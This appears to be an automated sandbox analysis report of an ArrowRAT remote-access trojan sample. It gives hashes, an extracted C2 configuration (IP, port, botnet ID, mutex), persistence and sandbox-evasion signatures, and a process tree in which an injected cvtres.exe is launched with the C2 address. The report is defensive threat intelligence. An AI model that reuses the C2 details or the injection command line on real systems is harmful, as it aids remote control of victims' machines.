Overview

overview

10

Static

static

10

arrow/0caa...bd.exe

windows7-x64

10

arrow/0caa...bd.exe

windows10-2004-x64

10

arrow/150c...0a.exe

windows7-x64

10

arrow/150c...0a.exe

windows10-2004-x64

10

arrow/17a7...ff.exe

windows7-x64

10

arrow/17a7...ff.exe

windows10-2004-x64

10

arrow/2380...0c.exe

windows7-x64

10

arrow/2380...0c.exe

windows10-2004-x64

10

arrow/2fb8...ee.exe

windows7-x64

3

arrow/2fb8...ee.exe

windows10-2004-x64

7

arrow/3dbd...fb.exe

windows7-x64

10

arrow/3dbd...fb.exe

windows10-2004-x64

10

arrow/4a09...07.exe

windows7-x64

10

arrow/4a09...07.exe

windows10-2004-x64

10

arrow/4c4d...a5.exe

windows7-x64

3

arrow/4c4d...a5.exe

windows10-2004-x64

7

arrow/54a0...24.exe

windows7-x64

10

arrow/54a0...24.exe

windows10-2004-x64

10

arrow/59a7...8c.exe

windows7-x64

10

arrow/59a7...8c.exe

windows10-2004-x64

10

arrow/5a45...7c.exe

windows7-x64

10

arrow/5a45...7c.exe

windows10-2004-x64

10

arrow/5d57...92.exe

windows7-x64

10

arrow/5d57...92.exe

windows10-2004-x64

10

arrow/6540...5e.exe

windows7-x64

10

arrow/6540...5e.exe

windows10-2004-x64

10

arrow/8a3d...bc.exe

windows7-x64

10

arrow/8a3d...bc.exe

windows10-2004-x64

10

arrow/a192...71.exe

windows7-x64

10

arrow/a192...71.exe

windows10-2004-x64

7

arrow/b20d...3f.exe

windows7-x64

10

arrow/b20d...3f.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    152s
  • max time network
    160s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04-05-2023 12:31

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General

  • Target

    arrow/0caa17db0c1d695ce4e5bc3f3fc7c9c2e7f96e489108e0303b81fa45efcf92bd.exe

  • Size

    138KB

  • MD5

    bb434c347ca1709e54bee1a5d9a5757e

  • SHA1

    844b1f01f53eb6e8f8934880fa7f8994c4245dd4

  • SHA256

    0caa17db0c1d695ce4e5bc3f3fc7c9c2e7f96e489108e0303b81fa45efcf92bd

  • SHA512

    46b87c83ce85d44b152a5921b76f65af19fc93896bc8557b979c72ffdbaef3b21245f1c8aea75a5bd2125bc8df7485f2bcaf98d8b7ee0785c8c1496d08a571be

  • SSDEEP

    3072:PbvG5mz7Bqh1v59Y08mAjs0Ltel+qOeJHlpV8b+Y/Yt:PbviS7BqjjYHdrqkL/

Score
10/10
arrowratkrck1rpersistencerat

Malware Config

Extracted

Family

arrowrat

Botnet

KRCK1R

C2

185.183.35.38:1338

Mutex

4IA671

Signatures

  • ArrowRat

    Remote access tool with various capabilities first seen in late 2021.

    ratarrowrat
  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
    persistence
  • Modifies Installed Components in the registry 2 TTPs 1 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies registry class 35 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 29 IoCs
  • Suspicious use of FindShellTrayWindow 51 IoCs
  • Suspicious use of SendNotifyMessage 23 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\arrow\0caa17db0c1d695ce4e5bc3f3fc7c9c2e7f96e489108e0303b81fa45efcf92bd.exe
    "C:\Users\Admin\AppData\Local\Temp\arrow\0caa17db0c1d695ce4e5bc3f3fc7c9c2e7f96e489108e0303b81fa45efcf92bd.exe"
    1⤵
    • Modifies WinLogon for persistence
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3104
    • C:\Windows\explorer.exe
      "C:\Windows\explorer.exe"
      2⤵
      • Modifies Installed Components in the registry
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies registry class
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:1660
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" KRCK1R 185.183.35.38 1338 4IA671
      2⤵
        PID:2956
    • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
      "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:1260
    • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
      "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:1004

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\Microsoft_AutoGenerated_{9053766B-1DA2-14CF-1B83-21855938BB42}
      Filesize

      36KB

      MD5

      8aaad0f4eb7d3c65f81c6e6b496ba889

      SHA1

      231237a501b9433c292991e4ec200b25c1589050

      SHA256

      813c66ce7dec4cff9c55fb6f809eab909421e37f69ff30e4acaa502365a32bd1

      SHA512

      1a83ce732dc47853bf6e8f4249054f41b0dea8505cda73433b37dfa16114f27bfed3b4b3ba580aa9d53c3dcc8d48bf571a45f7c0468e6a0f2a227a7e59e17d62

      Download Submit

    • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\Microsoft_Windows_Explorer
      Filesize

      36KB

      MD5

      ab0262f72142aab53d5402e6d0cb5d24

      SHA1

      eaf95bb31ae1d4c0010f50e789bdc8b8e3116116

      SHA256

      20a108577209b2499cfdba77645477dd0d9771a77d42a53c6315156761efcfbb

      SHA512

      bf9580f3e5d1102cf758503e18a2cf98c799c4a252eedf9344f7c5626da3a1cf141353f01601a3b549234cc3f2978ad31f928068395b56f9f0885c07dbe81da1

      Download Submit

    • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133277297562768703.txt
      Filesize

      75KB

      MD5

      65019a5db517d9fb830d8a57406a03ea

      SHA1

      817faf2ffe8461f653519e7bd96e7ee75021c891

      SHA256

      3ae88b3a99e6b785bdb44760790bc03ac722ef5b673ad5b3ca49b5cc5eecf84f

      SHA512

      bcc985d3fa48efcbb4a334b1a341a6686ef6c69f237d6d9bdcd9885696d148519ab824b9150194d783cb03189c1cc00a483f1b73ebce323f1f6a303a05b8ea62

      Download Submit

    • memory/1004-154-0x000002E0720B0000-0x000002E0720D0000-memory.dmp

      Filesize

      128KB

      Download

    • memory/1004-157-0x000002E072070000-0x000002E072090000-memory.dmp

      Filesize

      128KB

      Download

    • memory/1004-159-0x000002E072480000-0x000002E0724A0000-memory.dmp

      Filesize

      128KB

      Download

    • memory/1660-147-0x0000000003060000-0x0000000003061000-memory.dmp

      Filesize

      4KB

      Download

    • memory/2956-146-0x00000000047E0000-0x00000000047F0000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2956-143-0x0000000005940000-0x0000000005990000-memory.dmp

      Filesize

      320KB

      Download

    • memory/2956-140-0x0000000005650000-0x00000000056B6000-memory.dmp

      Filesize

      408KB

      Download

    • memory/2956-139-0x00000000050A0000-0x0000000005644000-memory.dmp

      Filesize

      5.6MB

      Download

    • memory/2956-138-0x0000000004950000-0x00000000049EC000-memory.dmp

      Filesize

      624KB

      Download

    • memory/2956-293-0x00000000047E0000-0x00000000047F0000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2956-137-0x00000000048B0000-0x0000000004942000-memory.dmp

      Filesize

      584KB

      Download

    • memory/2956-134-0x0000000000400000-0x0000000000416000-memory.dmp

      Filesize

      88KB

      Download

    • memory/3104-133-0x0000029E48200000-0x0000029E48228000-memory.dmp

      Filesize

      160KB

      Download